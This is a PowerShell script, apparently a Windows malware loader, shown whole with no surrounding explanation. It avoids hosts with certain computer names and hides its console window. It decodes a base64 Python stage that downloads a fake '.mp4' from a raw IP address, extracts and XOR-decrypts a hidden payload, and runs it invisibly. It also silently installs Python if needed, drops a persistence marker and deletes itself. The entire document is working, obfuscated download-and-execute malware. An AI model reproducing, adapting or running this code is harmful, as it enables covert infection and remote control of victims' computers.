<# #> $wPkjmJTYPuITq = [string]::Concat('Comp','uter','Name') $RJEbIXYongyxL = [Environment]::GetEnvironmentVariable($wPkjmJTYPuITq) $HYfQS6mGY3 = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('KkNMRUFOKg==')) if ($RJEbIXYongyxL -like $HYfQS6mGY3) { return } $IV5JXJIhAN = [string]::Concat('Comp','uter','Name') $cVRpNs8u = [Environment]::GetEnvironmentVariable($IV5JXJIhAN) $xvvk7q4FzLY9f = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('KkNMRU4q')) if ($cVRpNs8u -like $xvvk7q4FzLY9f) { return } $__hc = @' using System; using System.Runtime.InteropServices; public class __HideConsole { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } '@ if (-not ('__HideConsole' -as [type])) { try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {} } if ('__HideConsole' -as [type]) { $__hwnd = [__HideConsole]::GetConsoleWindow() if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) } } $ZCeoYZrva = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoXzdkNTBkZGMxNTVhZg=='))) if (Test-Path $ZCeoYZrva) { if ($env:CH_INDEX_FORCE -ne '1') { exit 0 } } $__chB64Parts = @( 'IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IGJhc2U2NCxnemlwLG9zLHN0cnVjdCxzdWJwcm9jZXNzLHN5cyx0ZW1wZmlsZSxzc2wsdXJsbGliLnJlcXVlc3QKX0NIX1VSTD0iaHR0cDovLzk0LjI2LjkwLjE0LzA5MDkubXA0IgpfQ0hfVVVJRD1ieXRlcyhbMjUxLDIxOSw3MSwyMSwyNTUsMTI1LDczLDEwMywxNDUsMzEsMTQ2LDQ0LDI1MCwzNCwxNzQsMTA1XSkKX0NIX01BR0lDPWJ5dGVzKFsxNzgsMTc5LDkwLDIxMV0pCl9DSF9EQVRBX0RJUj0iLmYxNGY4ZDRkOWFmNyIKX0NIX0FOQ0hPUl9CNjQ9IkxtTm9YemRrTlRCa1pHTXhOVFZoWmc9PSIKX0VNQkVEX1RBRz0iMzEyIgpfRU1CRURfQU1ENjQ9Imh0dHBzOi8vd3d3LnB5dGhvbi5vcmcvZnRwL3B5dGhvbi8zLjEyLjcvcHl0aG9uLTMuMTIuNy1lbWJlZC1hbWQ2NC56aXAiCl9FTUJFRF9XSU4zMj0iaHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWVtYmVkLXdpbjMyLnppcCIKZGVmIF9jaF9kbCh1cmwpOgogICAgaWYgbm90IHVybC5sb3dlcigpLnN0YXJ0c3dpdGgoImh0dHAiKToKICAgICAgICB1cmw9Imh0dHA6Ly8iK3VybC5sc3RyaXAoIi8iKQogICAgY3R4PXNzbC5jcmVhdGVfZGVmYXVsdF9jb250ZXh0KCkKICAgIHJlcT11cmxsaWIucmVxdWVzdC5SZXF1ZXN0KHVybCxoZWFkZXJzPXsiVXNlci1BZ2VudCI6Ik1vemlsbGEvNS4wIn0pCiAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4ocmVxLGNvbnRleHQ9Y3R4LHRpbWVvdXQ9MTIwKSBhcyByOgogICAgICAgIHJldHVybiByLnJlYWQoKQpkZWYgX2NoX3JlYWRfaW50KGIsbyk6CiAgICByZXR1cm4gKChiW29dJjI1NSk8PDI0KXwoKGJbbysxXSYyNTUpPDwxNil8KChiW28rMl0mMjU1KTw8OCl8KGJbbyszXSYyNTUpCmRlZiBfY2hfZGVjcnlwdF9ibG9iKGJsb2IpOgogICAgZm9yIGkgaW4gcmFuZ2UobGVuKF9DSF9NQUdJQykpOgogICAgICAgIGlmIGJsb2JbaV0hPV9DSF9NQUdJQ1tpXToKICAgICAgICAgICAgcmFpc2UgVmFsdWVFcnJvcigiYmFkIGJsb2IiKQogICAga2V5X2xlbj0oYmxvYls0XTw8OCl8YmxvYls1XQogICAgbz02CiAgICBrZXk9YmxvYltvOm8ra2V5X2xlbl07IG8rPWtleV9sZW4KICAgIGRhdGFfbGVuPV9jaF9yZWFkX2ludChibG9iLG8pOyBvKz00CiAgICBlbmM9Ynl0ZWFycmF5KGJsb2JbbzpvK2RhdGFfbGVuXSkKICAgIGZvciBpIGluIHJhbmdlKGxlbihlbmMpKToKICAgICAgICBlbmNbaV1ePWtleVtpJWxlbihrZXkpXQogICAgcmV0dXJuIGd6aXAuZGVjb21wcmVzcyhieXRlcyhlbmMpKS5kZWNvZGUoInV0Zi04IikKZGVmIF9jaF9maW5kX3V1aWRfYm94KGRhdGEsIHVpZCk6CiAgICBpPTAKICAgIG49bGVuKGRhdGEpCiAgICB3aGlsZSBpKzg8PW46CiAgICAgICAgc2l6ZT1fY2hfcmVhZF9pbnQoZGF0YSxpKQogICAgICAgIGlmIHNpemU8MjQgb3IgaStzaXplPm46CiAgICAgICAgICAgIGkrPTEKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBkYXRhW2krNDppKzhdPT1iInV1aWQiIGFuZCBkYXRhW2krODppKzI0XT09dWlkOgogICAgICAgICAgICByZXR1cm4gZGF0YVtpKzI0Omkrc2l6ZV0KICAgICAgICBpZiBzaXplPDg6CiAgICAgICAgICAgIGkrPTEKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpKz1zaXplCiAgICByYWlzZSBWYWx1ZUVycm9yKCJ1dWlkIGJveCBtaXNzaW5nIikKZGVmIF9jaF9mcm9tX2NhcnJpZXIocmF3KToKICAgIHJldHVybiBfY2hfZGVjcnlwdF9ibG9iKF9jaF9maW5kX3V1aWRfYm94KHJhdyxfQ0hfVVVJRCkpCmRlZiBfY2hfZW1iZWRfcm9vdCgpOgogICAgcmV0dXJuIG9zLnBhdGguam9pbihvcy5lbnZpcm9uLmdldCgiTE9DQUxBUFBEQVRBIiwiIiksX0NIX0RBVEFfRElSLCJweS1lbWJlZCIsX0VNQkVEX1RBRykKZGVmIF9jaF9lbnN1cmVfcHl0aG9uKCk6CiAgICBleGU9c3lzLmV4ZWN1dGFibGUKICAgIGlmIGV4ZSBhbmQgb3MucGF0aC5pc2ZpbGUoZXhlKToKICAgICAgICByZXR1cm4gZXhlLFsiLVgiLCJ1dGY4Il0KICAgIHJvb3Q9X2NoX2VtYmVkX3Jvb3QoKQogICAgcGxhaW49b3MucGF0aC5qb2luKHJvb3QsInB5dGhvbi5leGUiKQogICAgaWYgb3MucGF0aC5pc2ZpbGUocGxhaW4pOgogICAgICAgIHJldHVybiBwbGFpbixbIi1YIiwidXRmOCJdCiAgICBvcy5tYWtlZGlycyhyb290LGV4aXN0X29rPVRydWUpCiAgICB1cmw9X0VNQkVEX0FNRDY0IGlmIHN5cy5tYXhzaXplPjIqKjMyIGVsc2UgX0VNQkVEX1dJTjMyCiAgICB6cGF0aD1vcy5wYXRoLmpvaW4odGVtcGZpbGUuZ2V0dGVtcGRpcigpLCJjaF9weV8iK29zLnVyYW5kb20oOCkuaGV4KCkrIi56aXAiKQogICAgd2l0aCBvcGVuKHpwYXRoLCJ3YiIpIGFzIGY6CiAgICAgICAgZi53cml0ZShfY2hfZGwodXJsKSkKICAgIGltcG9ydCB6aXBmaWxlCiAgICB3aXRoIHppcGZpbGUuWmlwRmlsZSh6cGF0aCkgYXMgemY6CiAgICAgICAgemYuZXh0cmFjdGFsbChyb290KQogICAgdHJ5OgogICAgICAgIG9zLnJlbW92ZSh6cGF0aCkKICAgIGV4Y2VwdCBPU0Vycm9yOgogICAgICAgIHBhc3MKICAgIGlmIG9zLnBhdGguaXNmaWxlKHBsYWluKToKICAgICAgICByZXR1cm4gcGxhaW4sWyItWCIsInV0ZjgiXQogICAgcmFpc2UgU3lzdGVtRXhpdCgxKQpkZWYgX2NoX3NldF9hbmNob3IoKToKICAgIGlmIG5vdCBfQ0hfQU5DSE9SX0I2NDoKICAgICAgICByZXR1cm4KICAgIHRyeToKICAgICAgICBpbXBvcnQgd2lucmVnCiAgICBleGNlcHQgSW1wb3J0RXJyb3I6CiAgICAgICAgcmV0dXJuCiAgICBuYW1lPWJhc2U2NC5iNjRkZWNvZGUoX0NIX0FOQ0hPUl9CNjQpLmRlY29kZSgidXRmLTgiKQogICAgYmFzZT1vcy5lbnZpcm9uLmdldCgiUHJvZ3JhbURhdGEiLCIiKQogICAgaWYgbm90IGJhc2U6CiAgICAgICAgcmV0dXJuCiAgICBwYXRoPW9zLnBhdGguam9pbihiYXNlLG5hbWUpCiAgICB0cnk6CiAgICAgICAgb3MubWFrZWRpcnMoYmFzZSxleGlzdF9vaz1UcnVlKQogICAgICAgIHdpdGggb3BlbihwYXRoLCJ3YiIpIGFzIGY6CiAgICAgICAgICAgIGYud3JpdGUoYiIiKQogICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgcGFzcwpkZWYgX2NoX21haW4oKToKICAgIHJhdz1fY2hfZGwoX0NIX1VSTCkKICAgIGFnZW50X3NyYz1fY2hfZnJvbV9jYXJyaWVyKHJhdykKICAgIGFnZW50X3BhdGg9b3MucGF0aC5qb2luKHRlbXBmaWxlLmdldHRlbXBkaXIoKSwiY2hrXyIrb3MudXJhbmRvbSg4KS5oZXgoKSsiLnB5IikKICAgIHdpdGggb3BlbihhZ2VudF9wYXRoLCJ3IixlbmNvZGluZz0idXRmLTgiKSBhcyBmOgogICAgICAgIGYud3JpdGUoYWdlbnRfc3JjKQogICAgcHksYXJncz1fY2hfZW5zdXJlX3B5dGhvbigpCiAgICBzaT1zdWJwcm9jZXNzLlNUQVJUVVBJTkZPKCkKICAgIHNpLmR3RmxhZ3N8PXN1YnByb2Nlc3MuU1RBUlRGX1VTRVNIT1dXSU5ET1cKICAgIHNpLndTaG93V2luZG93PTAKICAgIGNmPTB4MDgwMDAwMDAKICAgIHN1YnByb2Nlc3MuUG9wZW4oW3B5XSthcmdzK1thZ2VudF9wYXRoXSxzdGFydHVwaW5mbz1zaSxjcmVhdGlvbmZsYWdzPWNmKQogICAgX2NoX3NldF9hbmNob3IoKQogICAgdHJ5OgogICAgICAgIG9zLnJlbW92ZShfX2ZpbGVfXykKICAgIGV4Y2VwdCBPU0Vycm9yOgogICAgICAgIHBhc3MKaWYgX19uYW1lX189PSJfX21haW5fXyI6CiAgICBfY2hfbWFpbigpCg==' ) $__chB64 = $__chB64Parts -join '' $__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64)) $__chWorkerFile = Join-Path $env:TEMP ('ch_w_' + [guid]::NewGuid().ToString('N') + '.py') [System.IO.File]::WriteAllText($__chWorkerFile, $__chWorker, (New-Object System.Text.UTF8Encoding $false)) $__pyExe = $null $__pyArgs = @() $__embedRoot = Join-Path $env:LOCALAPPDATA ('.f14f8d4d9af7\py-embed\312') $__pyPlain = Join-Path $__embedRoot 'python.exe' if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } if (-not $__pyExe) { $__embedRoot = Join-Path $env:LOCALAPPDATA ('.f14f8d4d9af7\py-embed\312') $__pyPlain = Join-Path $__embedRoot 'python.exe' if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } else { New-Item -ItemType Directory -Path $__embedRoot -Force | Out-Null $__pyUrl = if ([Environment]::Is64BitOperatingSystem) { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWVtYmVkLWFtZDY0LnppcA=='))) } else { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWVtYmVkLXdpbjMyLnppcA=='))) } if ($__pyUrl -and $__pyUrl -notmatch '(?i)^https?://') { $__pyUrl = 'https://' + ($__pyUrl.Trim().TrimStart('/')) } $__pyZipBytes = $null try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } catch {} $__pyZipBytes = $null try { $__dl = [Net.Http.HttpClient]::new() $__dl.Timeout = [TimeSpan]::FromSeconds(120) $__pyZipBytes = $__dl.GetByteArrayAsync($__pyUrl).GetAwaiter().GetResult() $__dl.Dispose() } catch {} if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__wc = New-Object Net.WebClient $__wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') $__pyZipBytes = $__wc.DownloadData($__pyUrl) } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__resp = &($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3Q=')))) -Uri $__pyUrl -UseBasicParsing -TimeoutSec 120 if ($__resp -and $__resp.RawContentStream) { $__pyZipBytes = $__resp.RawContentStream.ToArray() } } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__curlBin = Join-Path $env:SystemRoot 'System32\curl.exe' if (Test-Path -LiteralPath $__curlBin) { $__curlOut = Join-Path $env:TEMP ('ch_curl_' + [guid]::NewGuid().ToString('N')) $null = & $__curlBin -fsSL --max-time 120 -o $__curlOut $__pyUrl 2>$null if (Test-Path -LiteralPath $__curlOut) { $__curlData = [IO.File]::ReadAllBytes($__curlOut) Remove-Item -LiteralPath $__curlOut -Force -ErrorAction SilentlyContinue if ($__curlData.Length -ge 500000) { $__pyZipBytes = $__curlData } } } } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { } if ($__pyZipBytes -and $__pyZipBytes.Length -ge 500000) { $__pyZip = Join-Path $env:TEMP ('ch_py_' + [guid]::NewGuid().ToString('N') + '.zip') [IO.File]::WriteAllBytes($__pyZip, $__pyZipBytes) try { Expand-Archive -LiteralPath $__pyZip -DestinationPath $__embedRoot -Force } catch { Add-Type -AssemblyName System.IO.Compression.FileSystem [IO.Compression.ZipFile]::ExtractToDirectory($__pyZip, $__embedRoot) } Remove-Item -LiteralPath $__pyZip -Force -ErrorAction SilentlyContinue if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } } } if (-not $__pyExe) { $__pyInstalled = Join-Path $env:LOCALAPPDATA ('Programs\Python\Python312\python.exe') $__pyInstalledAlt = Join-Path $env:LOCALAPPDATA ('Programs\Python\Python3.12\python.exe') if (Test-Path -LiteralPath $__pyInstalled) { $__pyExe = $__pyInstalled } elseif (Test-Path -LiteralPath $__pyInstalledAlt) { $__pyExe = $__pyInstalledAlt } else { $__msiCache = Join-Path $env:LOCALAPPDATA '.f14f8d4d9af7\py-msi' New-Item -ItemType Directory -Path $__msiCache -Force | Out-Null $__pyUrl = if ([Environment]::Is64BitOperatingSystem) { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWFtZDY0LmV4ZQ=='))) } else { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LmV4ZQ=='))) } if ($__pyUrl -and $__pyUrl -notmatch '(?i)^https?://') { $__pyUrl = 'https://' + ($__pyUrl.Trim().TrimStart('/')) } $__pyInstBytes = $null try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } catch {} $__pyInstBytes = $null try { $__dl = [Net.Http.HttpClient]::new() $__dl.Timeout = [TimeSpan]::FromSeconds(120) $__pyInstBytes = $__dl.GetByteArrayAsync($__pyUrl).GetAwaiter().GetResult() $__dl.Dispose() } catch {} if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__wc = New-Object Net.WebClient $__wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') $__pyInstBytes = $__wc.DownloadData($__pyUrl) } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__resp = &($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3Q=')))) -Uri $__pyUrl -UseBasicParsing -TimeoutSec 120 if ($__resp -and $__resp.RawContentStream) { $__pyInstBytes = $__resp.RawContentStream.ToArray() } } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__curlBin = Join-Path $env:SystemRoot 'System32\curl.exe' if (Test-Path -LiteralPath $__curlBin) { $__curlOut = Join-Path $env:TEMP ('ch_curl_' + [guid]::NewGuid().ToString('N')) $null = & $__curlBin -fsSL --max-time 120 -o $__curlOut $__pyUrl 2>$null if (Test-Path -LiteralPath $__curlOut) { $__curlData = [IO.File]::ReadAllBytes($__curlOut) Remove-Item -LiteralPath $__curlOut -Force -ErrorAction SilentlyContinue if ($__curlData.Length -ge 5000000) { $__pyInstBytes = $__curlData } } } } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { } if ($__pyInstBytes -and $__pyInstBytes.Length -ge 5000000) { $__installer = Join-Path $env:TEMP ('ch_py_' + [guid]::NewGuid().ToString('N') + '.exe') [IO.File]::WriteAllBytes($__installer, $__pyInstBytes) $__instArgs = @( '/quiet', 'InstallAllUsers=0', 'PrependPath=0', 'Include_test=0', 'SimpleInstall=1', 'Include_launcher=0', 'AssociateFiles=0' ) $__proc = Start-Process -FilePath $__installer -ArgumentList $__instArgs -PassThru -WindowStyle Hidden -Wait Remove-Item -LiteralPath $__installer -Force -ErrorAction SilentlyContinue $__deadline = (Get-Date).AddMinutes(4) while ((Get-Date) -lt $__deadline) { if (Test-Path -LiteralPath $__pyInstalled) { $__pyExe = $__pyInstalled break } if (Test-Path -LiteralPath $__pyInstalledAlt) { $__pyExe = $__pyInstalledAlt break } Start-Sleep -Seconds 2 } if (-not $__pyExe) { $__roots = @( (Join-Path $env:LOCALAPPDATA 'Programs\Python'), (Join-Path $env:LOCALAPPDATA 'Programs\Python\Python312'), (Join-Path $env:LOCALAPPDATA 'Programs\Python\Python3.12') ) foreach ($__root in $__roots) { if (-not (Test-Path -LiteralPath $__root)) { continue } $__candidates = Get-ChildItem -Path $__root -Recurse -Filter 'python.exe' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($__candidates) { $__pyExe = $__candidates.FullName; break } } } } } } } if (-not $__pyExe) { foreach ($__name in @('python.exe','pythonw.exe')) { $__cmd = Get-Command $__name -ErrorAction SilentlyContinue if ($__cmd) { if ($__name -eq 'python.exe') { $__pyExe = $__cmd.Source; break } $__pyExe = $__cmd.Source } } } if ($__pyExe -and $__pyExe -match 'pythonw\.exe$') { $__pyAlt = Join-Path (Split-Path -Parent $__pyExe) 'python.exe' if (Test-Path -LiteralPath $__pyAlt) { $__pyExe = $__pyAlt } } if (-not $__pyExe) { $__pyLauncher = Get-Command 'py.exe' -ErrorAction SilentlyContinue if ($__pyLauncher) { $__pyExe = $__pyLauncher.Source $__pyArgs = @('-3','-X','utf8') } } if (-not $__pyExe) { $__roots = @( (Join-Path $env:LOCALAPPDATA ('Programs\Python\Python312')), (Join-Path $env:LOCALAPPDATA 'Programs\Python'), (Join-Path $env:LOCALAPPDATA 'Python') ) foreach ($__root in $__roots) { if (-not (Test-Path -LiteralPath $__root)) { continue } $__candidates = Get-ChildItem -Path $__root -Recurse -Filter 'python.exe' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($__candidates) { $__pyExe = $__candidates.FullName; break } } } if ($__pyExe -and (-not $__pyArgs -or $__pyArgs.Count -eq 0) -and $__pyExe -notmatch '\\py\.exe$') { $__pyArgs = @('-X','utf8') } if (-not $__pyExe) { exit 1 } if (-not $__pyExe) { exit 1 } Start-Process -FilePath $__pyExe -ArgumentList ($__pyArgs + @($__chWorkerFile)) -WindowStyle Hidden -PassThru | Out-Null exit